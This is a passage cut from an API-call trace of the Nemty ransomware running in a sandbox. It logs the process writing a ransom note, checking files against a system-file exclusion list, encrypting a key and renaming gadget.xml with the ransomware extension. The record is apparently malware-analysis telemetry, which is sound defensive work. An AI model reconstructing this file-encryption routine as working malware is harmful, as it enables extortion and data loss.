[0130.092] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0130.092] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1ec [0130.093] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0130.093] SetFilePointer (in: hFile=0x1ec, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0130.093] WriteFile (in: hFile=0x1ec, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0130.094] CloseHandle (hObject=0x1ec) returned 1 [0130.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0130.094] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0130.094] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0130.094] FindFirstFileW (in: lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x12f2ed0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x12f2ed0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0130.094] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0130.094] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa1b4ad62, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x12f2ed0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x12f2ed0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0130.094] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0130.094] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0130.095] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1106a5b7, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x1138bee4, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1106a5b7, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x4dc, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="gadget.xml", cAlternateFileName="")) returned 1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2=".") returned 1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="..") returned 1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="...") returned 1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="windows") returned -1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="$RECYCLE.BIN") returned 1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="rsa") returned -1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="NTDETECT.COM") returned -1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="ntldr") returned -1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="MSDOS.SYS") returned -1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="IO.SYS") returned -1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="boot.ini") returned 1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="AUTOEXEC.BAT") returned 1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="ntuser.dat") returned -1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="desktop.ini") returned 1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="CONFIG.SYS") returned 1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="RECYCLER") returned -1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="BOOTSECT.BAK") returned 1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="bootmgr") returned 1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="programdata") returned -1 [0130.095] lstrcmpiW (lpString1="gadget.xml", lpString2="appdata") returned 1 [0130.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0130.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0130.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0130.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ebd0, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0130.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0130.095] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec20, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0130.095] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.095] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0130.096] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="gadget.xml", cchWideChar=10, lpMultiByteStr=0x653ec58, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="gadget.xml", lpUsedDefaultChar=0x0) returned 10 [0130.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0130.096] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6346f28 | out: hHeap=0x4f90000) returned 1 [0130.096] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63400f0 [0130.096] Sleep (dwMilliseconds=0x5) [0130.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1319030, dwHighDateTime=0x1d561e8)) [0130.102] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x1319030, dwHighDateTime=0x1d561e8)) [0130.102] GetLastError () returned 0xb7 [0130.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345da8 [0130.102] GetLastError () returned 0xb7 [0130.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0130.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345da8 | out: hHeap=0x4f90000) returned 1 [0130.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.102] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0130.102] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0130.102] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0130.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6340198 [0130.102] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6340198, pcchString=0x653e91c | out: pszString="Mm69GozvygtcBYLN4ajRmagAm2kITUnBgTiJw2UUDEJDiNU5imDQTTBpIqfK+5xW\r\n58jHvrglDk+nv0J0yPLR0v18OhXsnc1BbMlgweE0QoI/dGojWqxxF+vdkcG/75V2\r\nLZ18Z3Vz7CeQaMcyTzU/NzK5/Fg0aPcTWa9TE9DIdKiC2jNwGrbnoHCZ72D6z7ck\r\nFNBMxeCe1BTbbsQuSWFzFaGm6VKeYSfYeRU9MkXmeRpSPn7NJMctpX0k6NUWSwpZ\r\n7WG63zRfcxi62nT7ra/u1EstydeAyN2pfHFZAAMmi0EDoL6/qoQNf6Fc31BLgRZL\r\n7ZzPW9rQy0LBEqbGHmv+Fg==\r\n", pcchString=0x653e91c) returned 1 [0130.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0130.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0130.102] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f93620 [0130.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6340198 [0130.102] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0130.102] CreateFileW (lpFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us\\gadget.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0130.106] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0130.106] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x6351c48 [0130.106] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.106] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.115] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.115] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.115] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.125] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.125] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.125] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.135] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.135] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.135] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.145] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.145] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.145] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.154] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.154] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.154] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.164] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.164] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.164] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52441554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.174] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.174] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.174] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52601554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.188] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.188] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52761554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.197] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52921554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.213] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.213] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.213] ReadFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6351c48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0130.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106060708, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.219] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6351c48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.219] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=106163108, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0130.219] WriteFile (in: hFile=0xffffffff, lpBuffer=0x6340198, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0130.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6351c48 | out: hHeap=0x4f90000) returned 1 [0130.219] CloseHandle (hObject=0xffffffff) returned 0 [0130.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340308 [0130.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0130.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0130.219] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed58, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0130.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0130.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0130.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x63403b0 [0130.219] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340458 [0130.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63403b0 | out: hHeap=0x4f90000) returned 1 [0130.219] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0130.219] MoveFileW (lpExistingFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\gadget.xml" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us\\gadget.xml"), lpNewFileName="C:\\Program Files\\Windows Sidebar\\Gadgets\\MediaCenter.Gadget\\en-US\\gadget.xml._NEMTY_kGOBjgD_" (normalized: "c:\\program files\\windows sidebar\\gadgets\\mediacenter.gadget\\en-us\\gadget.xml._nemty_kgobjgd_")) returned 0 [0130.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340458 | out: hHeap=0x4f90000) returned 1 [0130.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340308 | out: hHeap=0x4f90000) returned 1 [0130.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f93620 | out: hHeap=0x4f90000) returned 1 [0130.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340198 | out: hHeap=0x4f90000) returned 1 [0130.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0130.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0130.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0130.220] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0130.220] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x12f2ed0, ftCreationTime.dwHighDateTime=0x1d561e8, ftLastAccessTime.dwLowDateTime=0x12f2ed0, ftLastAccessTime.dwHighDateTime=0x1d561e8, ftLastWriteTime.dwLowDateTime=0x12f2ed0, ftLastWriteTime.dwHighDateTime=0x1d561e8, nFileSizeHigh=0x0, nFileSizeLow=0xef8, dwReserved0=0x344c1f0, dwReserved1=0x0, cFileName="_NEMTY_kGOBjgD_-DECRYPT.txt", cAlternateFileName="_NEMTY~1.TXT")) returned 1 [0130.220] lstrcmpiW 